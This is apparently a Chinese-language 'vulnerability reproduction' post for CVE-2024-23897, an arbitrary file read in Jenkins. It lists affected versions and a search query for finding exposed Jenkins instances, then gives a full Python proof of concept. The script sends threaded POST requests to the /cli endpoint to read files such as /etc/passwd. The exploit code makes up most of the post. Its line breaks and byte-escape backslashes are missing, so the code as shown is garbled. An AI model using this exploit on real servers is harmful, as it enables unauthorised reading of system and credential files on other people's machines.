[漏洞复现] CVE-2024-23897 jenkins 任意文件读取

开发语言：Java官网地址：https://www.jenkins.io/

app="Jenkins"

Jenkins <= 2.441Jenkins LTS <= 2.426.2

python3 http://xxx.xxx.xxx/ /etc/passwd

import threadingimport http.clientimport timeimport uuidimport urllib.parseimport sysif len(sys.argv) != 3:    print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')    exit()data_bytes = b'x00x00x00x06x00x00x04helpx00x00x00x0ex00x00x0c@' + sys.argv[2].encode() + b'x00x00x00x05x02x00x03GBKx00x00x00x07x01x00x05zh_CNx00x00x00x00x03'target = urllib.parse.urlparse(sys.argv[1])uuid_str = str(uuid.uuid4())print(f'REQ: {data_bytes}n')def req1():    conn = http.client.HTTPConnection(target.netloc)    conn.request("POST", "/cli?remoting=false", headers={        "Session": uuid_str,        "Side": "download"    })    print(f'RESPONSE: {conn.getresponse().read()}')def req2():    conn = http.client.HTTPConnection(target.netloc)    conn.request("POST", "/cli?remoting=false", headers={        "Session": uuid_str,        "Side": "upload",        "Content-type": "application/octet-stream"    }, body=data_bytes)t1 = threading.Thread(target=req1)t2 = threading.Thread(target=req2)t1.start()time.sleep(0.1)t2.start()t1.join()t2.join()

https://nvd.nist.gov/vuln/detail/CVE-2024-23897https://github.com/binganao/CVE-2024-23897/blob/main/poc.py